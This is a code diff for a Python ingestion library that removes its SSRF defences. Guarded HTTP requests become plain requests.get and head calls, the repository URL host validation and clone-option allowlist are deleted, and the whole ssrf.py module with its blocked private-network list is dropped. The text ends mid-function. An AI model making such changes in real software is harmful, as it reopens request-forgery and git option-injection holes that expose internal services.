|
||||
self.allow_private_ips = parse_bool(
|
||||
self.config.get("allow_private_ips"), default=False
|
||||
)
|
||||
|
||||
# Initialize feed parser
|
||||
self.parser = FeedParser(**self.config)
|
||||
@@ -650,12 +638,7 @@ class FeedIngestor:
|
||||
request_timeout = timeout or options.get(
|
||||
"timeout", self.config.get("timeout", 30)
|
||||
)
|
||||
response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
feed_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=request_timeout,
|
||||
)
|
||||
response = requests.get(feed_url, timeout=request_timeout)
|
||||
response.raise_for_status()
|
||||
self.logger.debug(
|
||||
f"Fetched feed from {feed_url}: {len(response.text)} bytes"
|
||||
@@ -710,12 +693,7 @@ class FeedIngestor:
|
||||
|
||||
try:
|
||||
# Fetch website content
|
||||
response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
website_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=30,
|
||||
)
|
||||
response = requests.get(website_url, timeout=30)
|
||||
response.raise_for_status()
|
||||
|
||||
# Parse HTML
|
||||
@@ -745,12 +723,7 @@ class FeedIngestor:
|
||||
for path in common_paths:
|
||||
try:
|
||||
feed_url = urljoin(website_url, path)
|
||||
test_response = request_with_ssrf_guard(
|
||||
"HEAD",
|
||||
feed_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=10,
|
||||
)
|
||||
test_response = requests.head(feed_url, timeout=10)
|
||||
if test_response.status_code == 200:
|
||||
content_type = test_response.headers.get("Content-Type", "")
|
||||
if (
|
||||
@@ -768,12 +741,7 @@ class FeedIngestor:
|
||||
for feed_url in feed_urls:
|
||||
try:
|
||||
# Quick validation by fetching feed
|
||||
test_response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
feed_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=10,
|
||||
)
|
||||
test_response = requests.get(feed_url, timeout=10)
|
||||
if test_response.status_code == 200:
|
||||
validated_feeds.append(feed_url)
|
||||
except Exception:
|
||||
|
||||
@@ -174,7 +174,6 @@ Example Usage:
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from pathlib import Path
|
||||
from typing import TYPE_CHECKING, Any, Callable, Dict, List, Optional, Union
|
||||
|
||||
@@ -184,14 +183,6 @@ from .config import ingest_config
|
||||
from .file_ingestor import FileIngestor, FileObject
|
||||
from .registry import method_registry
|
||||
|
||||
# SCP-like SSH remotes (user@host:path) — keep in sync with repo_ingestor
|
||||
_SCP_LIKE_REPO_URL_RE = re.compile(r"^[^@\s]+@[^:\s]+:.+$")
|
||||
|
||||
|
||||
def _is_scp_like_repo_source(source: str) -> bool:
|
||||
"""Return True for scp-like SSH remotes (``user@host:path``)."""
|
||||
return bool(_SCP_LIKE_REPO_URL_RE.match(source.strip()))
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from .api_ingestor import APIData
|
||||
from .arrow_ingestor import ArrowData
|
||||
@@ -562,12 +553,6 @@ def ingest_web(
|
||||
# Get config
|
||||
config = ingest_config.get_method_config("web")
|
||||
config.update(kwargs)
|
||||
if "allow_private_ips" in config:
|
||||
from .ssrf import parse_bool
|
||||
|
||||
config["allow_private_ips"] = parse_bool(
|
||||
config["allow_private_ips"], default=False
|
||||
)
|
||||
|
||||
ingestor = WebIngestor(**config)
|
||||
|
||||
@@ -889,10 +874,7 @@ def ingest_repository(
|
||||
|
||||
if method == "clone" or (
|
||||
isinstance(source, str)
|
||||
and (
|
||||
source.startswith(("http://", "https://"))
|
||||
or _is_scp_like_repo_source(source)
|
||||
)
|
||||
and source.startswith(("http://", "https://", "git@"))
|
||||
):
|
||||
return ingestor.ingest_repository(source, **kwargs)
|
||||
elif method == "analyze":
|
||||
@@ -1348,7 +1330,7 @@ def ingest(
|
||||
("postgresql://", "mysql://", "sqlite://", "oracle://", "mssql://")
|
||||
):
|
||||
source_type = "db"
|
||||
elif _is_scp_like_repo_source(source_str) or source_str_lower.startswith(
|
||||
elif source_str.startswith("git@") or source_str_lower.startswith(
|
||||
("https://github.com", "https://gitlab.com")
|
||||
):
|
||||
source_type = "repo"
|
||||
|
||||
@@ -29,20 +29,14 @@ Author: Semantica Contributors
|
||||
License: MIT
|
||||
"""
|
||||
|
||||
import ipaddress
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import socket
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
from collections import OrderedDict
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional, Set, Tuple, Union
|
||||
from urllib.parse import urlparse
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
import git
|
||||
|
||||
@@ -50,33 +44,6 @@ from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
|
||||
# Safe subset of GitPython clone_from kwargs. Broader kwargs (multi_options,
|
||||
# upload_pack, template, config, env, …) have been used in denylist-bypass
|
||||
# attacks against older GitPython releases — keep them out of the call surface.
|
||||
ALLOWED_CLONE_OPTIONS: Set[str] = {"depth", "branch", "single_branch", "no_tags"}
|
||||
ALLOWED_REPO_URL_SCHEMES = frozenset({"https", "http", "git", "ssh"})
|
||||
# SCP-like SSH remotes: user@host:path/to/repo.git (no scheme)
|
||||
_SCP_LIKE_REPO_URL_RE = re.compile(r"^[^@\s]+@[^:\s]+:.+$")
|
||||
_ENV_VAR_TOKEN_RE = re.compile(
|
||||
r"\$(\{[A-Za-z_][A-Za-z0-9_]*\}|[A-Za-z_][A-Za-z0-9_]*)"
|
||||
)
|
||||
# Short-lived DNS cache for host validation. This reduces repeated lookups but
|
||||
# does not eliminate DNS-rebinding / TOCTOU races between validate and clone —
|
||||
# network egress controls remain recommended.
|
||||
_REPO_HOST_RESOLVE_CACHE: "OrderedDict[str, Tuple[float, Tuple[str, ...]]]" = (
|
||||
OrderedDict()
|
||||
)
|
||||
_REPO_HOST_RESOLVE_CACHE_TTL_SECONDS = 60.0
|
||||
_REPO_HOST_RESOLVE_CACHE_MAX_ENTRIES = 1024
|
||||
# Guards all reads/writes/prunes of _REPO_HOST_RESOLVE_CACHE. The cache is a
|
||||
# module-level OrderedDict shared by every RepoIngestor instance and every
|
||||
# thread; without a lock, concurrent ingest_repository() calls can mutate the
|
||||
# dict while another thread is iterating it (e.g. during pruning), raising
|
||||
# "RuntimeError: OrderedDict mutated during iteration". The blocking
|
||||
# socket.getaddrinfo() call is intentionally kept outside this lock so a slow
|
||||
# DNS lookup for one host cannot stall cache access for other hosts.
|
||||
_REPO_HOST_RESOLVE_CACHE_LOCK = threading.Lock()
|
||||
|
||||
|
||||
@dataclass
|
||||
class CodeFile:
|
||||
@@ -542,287 +509,6 @@ class RepoIngestor:
|
||||
|
||||
self.logger.debug("Repo ingestor initialized")
|
||||
|
||||
@staticmethod
|
||||
def _is_scp_like_repo_url(repo_url: str) -> bool:
|
||||
"""Return True for scp-like SSH remotes (``user@host:path``)."""
|
||||
url = repo_url.strip()
|
||||
# Avoid treating scheme URLs with userinfo as scp-like (e.g. https://u@h/...)
|
||||
if "://" in url:
|
||||
return False
|
||||
return bool(_SCP_LIKE_REPO_URL_RE.match(url))
|
||||
|
||||
@staticmethod
|
||||
def _scp_like_host(repo_url: str) -> str:
|
||||
"""Extract the hostname from an scp-like remote (``user@host:path``)."""
|
||||
_, rest = repo_url.strip().split("@", 1)
|
||||
host, _ = rest.split(":", 1)
|
||||
return host
|
||||
|
||||
@staticmethod
|
||||
def _normalize_repo_url(repo_url: str) -> str:
|
||||
"""Normalize scp-like remotes to ``ssh://`` URLs; leave others unchanged.
|
||||
|
||||
``git@host:org/repo.git`` → ``ssh://git@host/org/repo.git``
|
||||
"""
|
||||
url = repo_url.strip()
|
||||
if not RepoIngestor._is_scp_like_repo_url(url):
|
||||
return url
|
||||
user_host, path = url.split(":", 1)
|
||||
if not path.startswith("/"):
|
||||
path = f"/{path}"
|
||||
return f"ssh://{user_host}{path}"
|
||||
|
||||
@staticmethod
|
||||
def _is_blocked_ip(
|
||||
ip: Union[ipaddress.IPv4Address, ipaddress.IPv6Address],
|
||||
) -> bool:
|
||||
"""Return True if *ip* is an SSRF-sensitive address.
|
||||
|
||||
Blocks private (RFC1918/ULA), loopback, link-local (including
|
||||
169.254.x.x / fe80::/10 cloud-metadata ranges), and unspecified
|
||||
addresses.
|
||||
|
||||
Intentionally does **not** use ``ip.is_reserved``: Python's
|
||||
``ipaddress`` module marks the NAT64 Well-Known Prefix
|
||||
(64:ff9b::/96, RFC 6052) as reserved, which causes false positives
|
||||
on IPv6-only and dual-stack networks that use NAT64 for public
|
||||
Internet access (e.g., github.com resolves to 64:ff9b::… on such
|
||||
networks). Those addresses are not SSRF-sensitive.
|
||||
"""
|
||||
return bool(
|
||||
ip.is_private
|
||||
or ip.is_loopback
|
||||
or ip.is_link_local
|
||||
or ip.is_unspecified
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _resolve_repo_host_ips(host: str) -> Tuple[str, ...]:
|
||||
"""Resolve *host* to IP strings via ``socket.getaddrinfo``, with TTL cache.
|
||||
|
||||
Note: caching and pre-clone resolution mitigate repeated lookups but
|
||||
cannot fully prevent DNS rebinding between validation and clone.
|
||||
Prefer network-layer egress controls for defense in depth.
|
||||
"""
|
||||
cache_key = host.lower().rstrip(".")
|
||||
now = time.monotonic()
|
||||
with _REPO_HOST_RESOLVE_CACHE_LOCK:
|
||||
RepoIngestor._prune_repo_host_resolve_cache_locked(now)
|
||||
cached = _REPO_HOST_RESOLVE_CACHE.get(cache_key)
|
||||
if cached is not None:
|
||||
expires_at, ips = cached
|
||||
if now < expires_at:
|
||||
_REPO_HOST_RESOLVE_CACHE.move_to_end(cache_key)
|
||||
return ips
|
||||
_REPO_HOST_RESOLVE_CACHE.pop(cache_key, None)
|
||||
|
||||
# DNS resolution is blocking I/O; keep it outside the lock so a slow
|
||||
# or hanging lookup for one host cannot stall cache access for
|
||||
# concurrent lookups of other hosts.
|
||||
try:
|
||||
addrinfos = socket.getaddrinfo(
|
||||
host, None, type=socket.SOCK_STREAM
|
||||
)
|
||||
except socket.gaierror as exc:
|
||||
raise ValidationError(
|
||||
f"Cannot resolve repository host {host!r}: {exc}"
|
||||
) from exc
|
||||
|
||||
ips: List[str] = []
|
||||
seen: Set[str] = set()
|
||||
for _family, _type, _proto, _canonname, sockaddr in addrinfos:
|
||||
addr = sockaddr[0]
|
||||
if addr not in seen:
|
||||
seen.add(addr)
|
||||
ips.append(addr)
|
||||
|
||||
if not ips:
|
||||
raise ValidationError(
|
||||
f"Cannot resolve repository host {host!r}: no addresses"
|
||||
)
|
||||
|
||||
result = tuple(ips)
|
||||
with _REPO_HOST_RESOLVE_CACHE_LOCK:
|
||||
now = time.monotonic()
|
||||
_REPO_HOST_RESOLVE_CACHE[cache_key] = (
|
||||
now + _REPO_HOST_RESOLVE_CACHE_TTL_SECONDS,
|
||||
result,
|
||||
)
|
||||
_REPO_HOST_RESOLVE_CACHE.move_to_end(cache_key)
|
||||
RepoIngestor._prune_repo_host_resolve_cache_locked(now)
|
||||
return result
|
||||
|
||||
@staticmethod
|
||||
def _prune_repo_host_resolve_cache(now: Optional[float] = None) -> None:
|
||||
"""Remove expired host entries and enforce a hard cache size cap.
|
||||
|
||||
Acquires ``_REPO_HOST_RESOLVE_CACHE_LOCK``. Callers that already hold
|
||||
the lock must use ``_prune_repo_host_resolve_cache_locked`` instead to
|
||||
avoid deadlocking on the (non-reentrant) lock.
|
||||
"""
|
||||
if now is None:
|
||||
now = time.monotonic()
|
||||
with _REPO_HOST_RESOLVE_CACHE_LOCK:
|
||||
RepoIngestor._prune_repo_host_resolve_cache_locked(now)
|
||||
|
||||
@staticmethod
|
||||
def _prune_repo_host_resolve_cache_locked(now: Optional[float] = None) -> None:
|
||||
"""Prune implementation; caller must already hold the cache lock."""
|
||||
if now is None:
|
||||
now = time.monotonic()
|
||||
|
||||
expired_keys = [
|
||||
cache_key
|
||||
for cache_key, (expires_at, _ips) in _REPO_HOST_RESOLVE_CACHE.items()
|
||||
if expires_at <= now
|
||||
]
|
||||
for cache_key in expired_keys:
|
||||
_REPO_HOST_RESOLVE_CACHE.pop(cache_key, None)
|
||||
|
||||
while len(_REPO_HOST_RESOLVE_CACHE) > _REPO_HOST_RESOLVE_CACHE_MAX_ENTRIES:
|
||||
_REPO_HOST_RESOLVE_CACHE.popitem(last=False)
|
||||
|
||||
@staticmethod
|
||||
def _validate_repo_host(host: str) -> None:
|
||||
"""Reject localhost names and hosts resolving to blocked addresses.
|
||||
|
||||
Literal IPs are checked directly. Hostnames are resolved with
|
||||
``socket.getaddrinfo`` and **every** returned address is screened.
|
||||
"""
|
||||
if not host:
|
||||
raise ValidationError("Repository URL must include a host")
|
||||
|
||||
lowered = host.lower().rstrip(".")
|
||||
if lowered == "localhost" or lowered.endswith(".localhost"):
|
||||
raise ValidationError(f"Repository host is not allowed: {host}")
|
||||
|
||||
try:
|
||||
ip = ipaddress.ip_address(host)
|
||||
except ValueError:
|
||||
# Hostname: resolve and validate all returned addresses
|
||||
for addr in RepoIngestor._resolve_repo_host_ips(host):
|
||||
try:
|
||||
resolved = ipaddress.ip_address(addr)
|
||||
except ValueError:
|
||||
continue
|
||||
if RepoIngestor._is_blocked_ip(resolved):
|
||||
raise ValidationError(
|
||||
f"Repository host resolves to a blocked address: "
|
||||
f"{host} -> {addr}"
|
||||
)
|
||||
return
|
||||
|
||||
if RepoIngestor._is_blocked_ip(ip):
|
||||
raise ValidationError(
|
||||
f"Repository host resolves to a blocked address: {host}"
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _is_local_repo_path(repo_url: str) -> bool:
|
||||
"""Return True if *repo_url* looks like a local filesystem path.
|
||||
|
||||
Matches absolute paths (``/…``, ``C:\\…``), relative paths
|
||||
(``./…``, ``../…``), and bare names without a scheme or ``@host:``
|
||||
pattern that would be interpreted as a local path by git.
|
||||
"""
|
||||
url = repo_url.strip()
|
||||
if "://" in url:
|
||||
return False
|
||||
if RepoIngestor._is_scp_like_repo_url(url):
|
||||
return False
|
||||
# Absolute POSIX or Windows paths, or relative paths
|
||||
p = Path(url)
|
||||
if p.is_absolute():
|
||||
return True
|
||||
# ./ or ../
|
||||
if url.startswith(("./", "../", ".\\", "..\\")):
|
||||
return True
|
||||
# Existing local directory (best-effort; may not exist yet during tests)
|
||||
if p.exists():
|
||||
return True
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def _validate_repo_url(repo_url: str) -> None:
|
||||
"""Validate a repository URL before cloning.
|
||||
|
||||
Accepts http(s)/git/ssh URLs, scp-like SSH remotes
|
||||
(``user@host:path``), and local filesystem paths. Rejects empty
|
||||
values, unsupported schemes, missing hosts, environment variable
|
||||
expansion tokens (``$VAR`` / ``${VAR}``), and hosts that are or
|
||||
resolve to private / loopback / link-local addresses.
|
||||
|
||||
Local filesystem paths bypass network validation because
|
||||
``git clone /path/to/local/repo`` makes no network requests and
|
||||
carries no SSRF risk.
|
||||
|
||||
DNS resolution is TOCTOU-sensitive (rebinding); pair with egress
|
||||
controls in production deployments.
|
||||
"""
|
||||
if not isinstance(repo_url, str) or not repo_url.strip():
|
||||
raise ValidationError("Repository URL must be a non-empty string")
|
||||
|
||||
# Defense-in-depth against GitPython env-var expansion in clone URLs
|
||||
# (GHSA-2f96-g7mh-g2hx / related). Prefer rejecting before clone_from.
|
||||
if _ENV_VAR_TOKEN_RE.search(repo_url):
|
||||
raise ValidationError(
|
||||
"Repository URL must not contain environment variable "
|
||||
"references ($VAR / ${VAR})"
|
||||
)
|
||||
|
||||
url = repo_url.strip()
|
||||
|
||||
# Local filesystem paths: no network, no SSRF risk — skip host checks.
|
||||
if RepoIngestor._is_local_repo_path(url):
|
||||
return
|
||||
|
||||
# scp-like syntax has no URL scheme; validate host then accept.
|
||||
if RepoIngestor._is_scp_like_repo_url(url):
|
||||
RepoIngestor._validate_repo_host(RepoIngestor._scp_like_host(url))
|
||||
return
|
||||
|
||||
try:
|
||||
parsed = urlparse(url)
|
||||
# ``hostname`` can raise ValueError for malformed netloc (e.g. bad IPv6)
|
||||
host = parsed.hostname
|
||||
except ValueError as e:
|
||||
raise ValidationError(f"Invalid repository URL: {e}") from e
|
||||
|
||||
scheme = (parsed.scheme or "").lower()
|
||||
if scheme not in ALLOWED_REPO_URL_SCHEMES:
|
||||
raise ValidationError(
|
||||
f"Unsupported repository URL scheme {scheme!r}. "
|
||||
f"Allowed schemes: {sorted(ALLOWED_REPO_URL_SCHEMES)}"
|
||||
)
|
||||
if not parsed.netloc or not host:
|
||||
raise ValidationError(
|
||||
f"Repository URL must include a host: {repo_url}"
|
||||
)
|
||||
|
||||
RepoIngestor._validate_repo_host(host)
|
||||
|
||||
@staticmethod
|
||||
def _filter_clone_options(options: Dict[str, Any]) -> Dict[str, Any]:
|
||||
"""Return only allowlisted git clone kwargs; reject anything else."""
|
||||
# Semantica processing options — never forwarded to clone_from
|
||||
non_git_options = {
|
||||
"include_history",
|
||||
"file_filters",
|
||||
"commit_filters",
|
||||
"include_extensions",
|
||||
"max_depth",
|
||||
}
|
||||
candidate = {
|
||||
k: v for k, v in options.items() if k not in non_git_options
|
||||
}
|
||||
unsafe = set(candidate) - ALLOWED_CLONE_OPTIONS
|
||||
if unsafe:
|
||||
raise ValidationError(
|
||||
f"Clone option(s) not permitted: {sorted(unsafe)}. "
|
||||
f"Allowed options: {sorted(ALLOWED_CLONE_OPTIONS)}"
|
||||
)
|
||||
return candidate
|
||||
|
||||
def ingest_repository(self, repo_url: str, **options) -> Dict[str, Any]:
|
||||
"""
|
||||
Ingest and process a Git repository.
|
||||
@@ -832,8 +518,6 @@ class RepoIngestor:
|
||||
**options: Processing options:
|
||||
- branch: Specific branch to checkout
|
||||
- depth: Clone depth (for shallow clones)
|
||||
- single_branch: Clone only a single branch
|
||||
- no_tags: Skip cloning tags
|
||||
- include_history: Whether to include commit history
|
||||
- include_extensions: List of file extensions to include (e.g., ["py", "md"])
|
||||
|
||||
@@ -849,19 +533,27 @@ class RepoIngestor:
|
||||
)
|
||||
|
||||
try:
|
||||
# Validate repository URL before any clone attempt
|
||||
self._validate_repo_url(repo_url)
|
||||
clone_url = self._normalize_repo_url(repo_url)
|
||||
|
||||
# Handle option aliases and filters
|
||||
if "max_depth" in options and "depth" not in options:
|
||||
options["depth"] = options["max_depth"]
|
||||
|
||||
clone_options = self._filter_clone_options(options)
|
||||
# Separate git clone options from processing options
|
||||
# We filter out known non-git options to avoid passing invalid flags to git clone
|
||||
non_git_options = {
|
||||
"include_history",
|
||||
"file_filters",
|
||||
"commit_filters",
|
||||
"include_extensions",
|
||||
"max_depth",
|
||||
}
|
||||
clone_options = {
|
||||
k: v for k, v in options.items() if k not in non_git_options
|
||||
}
|
||||
|
||||
# Validate repository URL
|
||||
try:
|
||||
parsed = git.Repo.clone_from(
|
||||
clone_url, self._get_temp_dir(), **clone_options
|
||||
repo_url, self._get_temp_dir(), **clone_options
|
||||
)
|
||||
except Exception as e:
|
||||
self.progress_tracker.update_tracking(
|
||||
@@ -935,12 +627,6 @@ class RepoIngestor:
|
||||
"temp_path": str(repo_path),
|
||||
}
|
||||
|
||||
except ValidationError as e:
|
||||
# Keep validation failures typed for callers; do not wrap as ProcessingError
|
||||
self.progress_tracker.update_tracking(
|
||||
tracking_id, status="failed", message=str(e)
|
||||
)
|
||||
raise
|
||||
except Exception as e:
|
||||
self.progress_tracker.update_tracking(
|
||||
tracking_id, status="failed", message=str(e)
|
||||
|
||||
@@ -1,343 +0,0 @@
|
||||
"""SSRF safeguards for ingest HTTP clients.
|
||||
|
||||
Validates outbound request URLs before they reach ``requests`` / urllib3 so
|
||||
user-supplied targets cannot reach private, loopback, or link-local
|
||||
addresses (including cloud metadata endpoints).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import concurrent.futures
|
||||
import ipaddress
|
||||
import socket
|
||||
import threading
|
||||
from typing import Any, Iterable, Optional
|
||||
from urllib.parse import urljoin, urlparse
|
||||
|
||||
import requests
|
||||
|
||||
from ..utils.exceptions import ValidationError
|
||||
|
||||
ALLOWED_URL_SCHEMES = frozenset({"http", "https"})
|
||||
|
||||
_TRUE_STRINGS = frozenset({"1", "true", "yes", "on"})
|
||||
_FALSE_STRINGS = frozenset({"0", "false", "no", "off"})
|
||||
|
||||
# Keep DNS resolution bounded so fake/unreachable hosts in tests and offline
|
||||
# environments cannot hang request validation indefinitely.
|
||||
_DNS_RESOLVE_TIMEOUT_SECONDS = 2.0
|
||||
_DNS_EXECUTOR_WORKERS = 4
|
||||
|
||||
# Bound manual redirect following so open redirect chains cannot hang fetches.
|
||||
_DEFAULT_MAX_REDIRECTS = 10
|
||||
_REDIRECT_STATUS_CODES = frozenset({301, 302, 303, 307, 308})
|
||||
_STRIP_BODY_ON_REDIRECT = frozenset({301, 302, 303})
|
||||
|
||||
# Standard port per scheme (mirrors requests' DEFAULT_PORTS).
|
||||
_DEFAULT_PORTS = {"http": 80, "https": 443}
|
||||
|
||||
|
||||
def _should_strip_auth(old_url: str, new_url: str) -> bool:
|
||||
"""Decide whether credentials must not follow a redirect.
|
||||
|
||||
Mirrors ``requests.utils.should_strip_auth``: credentials are stripped
|
||||
when the hostname changes, when the port changes (outside default
|
||||
ports), or on an https -> http downgrade on the same host. The single
|
||||
exception is an http -> https upgrade on default ports, which requests
|
||||
treats as safe to keep the credential for.
|
||||
"""
|
||||
old_parsed = urlparse(old_url)
|
||||
new_parsed = urlparse(new_url)
|
||||
|
||||
if old_parsed.hostname != new_parsed.hostname:
|
||||
return True
|
||||
|
||||
# Special case: allow http -> https redirect on standard ports.
|
||||
if (
|
||||
old_parsed.scheme == "http"
|
||||
and old_parsed.port in (80, None)
|
||||
and new_parsed.scheme == "https"
|
||||
and new_parsed.port in (443, None)
|
||||
):
|
||||
return False
|
||||
|
||||
changed_port = old_parsed.port != new_parsed.port
|
||||
changed_scheme = old_parsed.scheme != new_parsed.scheme
|
||||
default_port = (_DEFAULT_PORTS.get(old_parsed.scheme), None)
|
||||
if (
|
||||
not changed_scheme
|
||||
and old_parsed.port in default_port
|
||||
and new_parsed.port in default_port
|
||||
):
|
||||
return False
|
||||
|
||||
return changed_port or changed_scheme
|
||||
|
||||
_dns_executor: Optional[concurrent.futures.ThreadPoolExecutor] = None
|
||||
_dns_executor_lock = threading.Lock()
|
||||
|
||||
|
||||
def parse_bool(value: Any, default: bool = False) -> bool:
|
||||
"""Parse a config value into a bool without truthy-string pitfalls.
|
||||
|
||||
``bool('false')`` is ``True`` in Python, which would silently disable SSRF
|
||||
protections when string-typed config reaches ingestors. This helper accepts
|
||||
only explicit bools and a small allowlist of string/int forms.
|
||||
|
||||
Args:
|
||||
value: Config value to interpret. ``None`` yields *default*.
|
||||
default: Value returned when *value* is ``None``.
|
||||
|
||||
Raises:
|
||||
ValidationError: If *value* is not a recognized boolean form.
|
||||
"""
|
||||
if value is None:
|
||||
return default
|
||||
if isinstance(value, bool):
|
||||
return value
|
||||
if isinstance(value, (int, float)):
|
||||
if value == 1:
|
||||
return True
|
||||
if value == 0:
|
||||
return False
|
||||
raise ValidationError(f"Invalid boolean value: {value!r}")
|
||||
if isinstance(value, str):
|
||||
normalized = value.strip().lower()
|
||||
if normalized in _TRUE_STRINGS:
|
||||
return True
|
||||
if normalized in _FALSE_STRINGS:
|
||||
return False
|
||||
raise ValidationError(f"Invalid boolean value: {value!r}")
|
||||
raise ValidationError(
|
||||
f"Invalid boolean type: {type(value).__name__} ({value!r})"
|
||||
)
|
||||
|
||||
|
||||
def _shutdown_executor(executor: concurrent.futures.ThreadPoolExecutor) -> None:
|
||||
"""Shut down *executor* without waiting for in-flight DNS lookups."""
|
||||
try:
|
||||
executor.shutdown(wait=False, cancel_futures=True)
|
||||
except TypeError:
|
||||
# cancel_futures was added in Python 3.9.
|
||||
executor.shutdown(wait=False)
|
||||
|
||||
|
||||
def _get_dns_executor() -> concurrent.futures.ThreadPoolExecutor:
|
||||
"""Return a process-wide executor for bounded DNS lookups."""
|
||||
global _dns_executor
|
||||
with _dns_executor_lock:
|
||||
if _dns_executor is None:
|
||||
_dns_executor = concurrent.futures.ThreadPoolExecutor(
|
||||
max_workers=_DNS_EXECUTOR_WORKERS,
|
||||
thread_name_prefix="semantica-ssrf-dns",
|
||||
)
|
||||
return _dns_executor
|
||||
|
||||
|
||||
# Explicit blocked networks from issue #867, plus common non-routable ranges.
|
||||
BLOCKED_NETWORKS = (
|
||||
ipaddress.ip_network("0.0.0.0/8"),
|
||||
ipaddress.ip_network("10.0.0.0/8"),
|
||||
ipaddress.ip_network("127.0.0.0/8"),
|
||||
ipaddress.ip_network("169.254.0.0/16"), # link-local / cloud metadata
|
||||
ipaddress.ip_network("172.16.0.0/12"),
|
||||
ipaddress.ip_network("192.168.0.0/16"),
|
||||
ipaddress.ip_network("::1/128"),
|
||||
ipaddress.ip_network("fc00::/7"),
|
||||
ipaddress.ip_network("fe80::/10"),
|
||||
)
|
||||
|
||||
|
||||
def _ip_is_blocked(addr: ipaddress._BaseAddress) -> bool:
|
||||
if (
|
||||
addr.is_private
|
||||
or addr.is_loopback
|
||||
or addr.is_link_local
|
||||
or addr.is_reserved
|
||||
or addr.is_multicast
|
||||
or addr.is_unspecified
|
||||
):
|
||||
return True
|
||||
return any(addr in network for network in BLOCKED_NETWORKS)
|
||||
|
||||
|
||||
def _hostname_resolves_to_blocked(hostname: str) -> bool:
|
||||
"""Return True if any resolved address for *hostname* is blocked.
|
||||
|
||||
DNS lookups run on a shared thread pool with ``Future.result(timeout=...)``.
|
||||
Do not use ``with ThreadPoolExecutor(...)`` here: on timeout, leaving the
|
||||
context waits for the hung ``getaddrinfo`` worker and defeats the bound.
|
||||
|
||||
Raises:
|
||||
ValidationError: If DNS resolution fails or times out. Fail closed so
|
||||
outbound requests never proceed without confirmed safe IPs.
|
||||
"""
|
||||
executor = _get_dns_executor()
|
||||
owned_executor = False
|
||||
try:
|
||||
try:
|
||||
future = executor.submit(socket.getaddrinfo, hostname, None)
|
||||
except RuntimeError:
|
||||
# Shared executor was shut down; use a throwaway pool that never
|
||||
# blocks the caller on shutdown.
|
||||
executor = concurrent.futures.ThreadPoolExecutor(max_workers=1)
|
||||
owned_executor = True
|
||||
future = executor.submit(socket.getaddrinfo, hostname, None)
|
||||
resolved: Iterable = future.result(timeout=_DNS_RESOLVE_TIMEOUT_SECONDS)
|
||||
except (socket.gaierror, concurrent.futures.TimeoutError, OSError) as exc:
|
||||
raise ValidationError(
|
||||
f"URL host '{hostname}' could not be resolved safely "
|
||||
"(DNS error or timeout); request blocked"
|
||||
) from exc
|
||||
finally:
|
||||
if owned_executor:
|
||||
_shutdown_executor(executor)
|
||||
|
||||
for info in resolved:
|
||||
sockaddr = info[4]
|
||||
addr = ipaddress.ip_address(sockaddr[0])
|
||||
if _ip_is_blocked(addr):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def validate_url_for_request(
|
||||
url: str, *, allow_private_ips: bool = False
|
||||
) -> None:
|
||||
"""Validate that *url* is safe to fetch over HTTP(S).
|
||||
|
||||
Args:
|
||||
url: Absolute URL to validate.
|
||||
allow_private_ips: When True, skip private/loopback/link-local checks
|
||||
(for trusted internal deployments).
|
||||
|
||||
Raises:
|
||||
ValidationError: If the scheme is not http/https, the URL is malformed,
|
||||
or the host targets a blocked address space.
|
||||
"""
|
||||
if not isinstance(url, str) or not url.strip():
|
||||
raise ValidationError("URL must be a non-empty string")
|
||||
|
||||
parsed = urlparse(url.strip())
|
||||
scheme = (parsed.scheme or "").lower()
|
||||
if scheme not in ALLOWED_URL_SCHEMES:
|
||||
raise ValidationError(
|
||||
f"URL scheme '{parsed.scheme}' is not permitted. "
|
||||
"Only http and https are allowed."
|
||||
)
|
||||
if not parsed.netloc:
|
||||
raise ValidationError(
|
||||
f"Invalid URL format: {url}. "
|
||||
"URL must include scheme (http/https) and netloc (domain)."
|
||||
)
|
||||
|
||||
host = parsed.hostname
|
||||
if not host:
|
||||
raise ValidationError(
|
||||
f"Invalid URL format: {url}. "
|
||||
"URL must include a hostname."
|
||||
)
|
||||
|
||||
if allow_private_ips:
|
||||
return
|
||||
|
||||
lowered = host.lower().rstrip(".")
|
||||
if lowered == "localhost" or lowered.endswith(".localhost"):
|
||||
raise ValidationError(f"URL host is not allowed: {host}")
|
||||
|
||||
try:
|
||||
literal_ip = ipaddress.ip_address(host)
|
||||
except ValueError:
|
||||
literal_ip = None
|
||||
|
||||
if literal_ip is not None:
|
||||
if _ip_is_blocked(literal_ip):
|
||||
raise ValidationError(f"URL points to a blocked address: {host}")
|
||||
return
|
||||
|
||||
if _hostname_resolves_to_blocked(host):
|
||||
raise ValidationError(
|
||||
f"URL host '{host}' resolves to a blocked (private/loopback/"
|
||||
"link-local) address"
|
||||
)
|
||||
|
||||
|
||||
def request_with_ssrf_guard(
|
||||
method: str,
|
||||
url: str,
|
||||
*,
|
||||
session: Optional[requests.Session] = None,
|
||||
allow_private_ips: bool = False,
|
||||
max_redirects: int = _DEFAULT_MAX_REDIRECTS,
|
||||
**kwargs: Any,
|
||||
) -> requests.Response:
|
||||
"""Perform an HTTP request with SSRF checks on *url* and every redirect.
|
||||
|
||||
``requests`` follows redirects by default, which would allow a validated
|
||||
public URL to bounce into private/loopback/link-local space. This helper
|
||||
disables automatic redirects and re-validates each ``Location`` target
|
||||
before issuing the next hop.
|
||||
"""
|
||||
kwargs = dict(kwargs)
|
||||
kwargs.pop("allow_redirects", None)
|
||||
|
||||
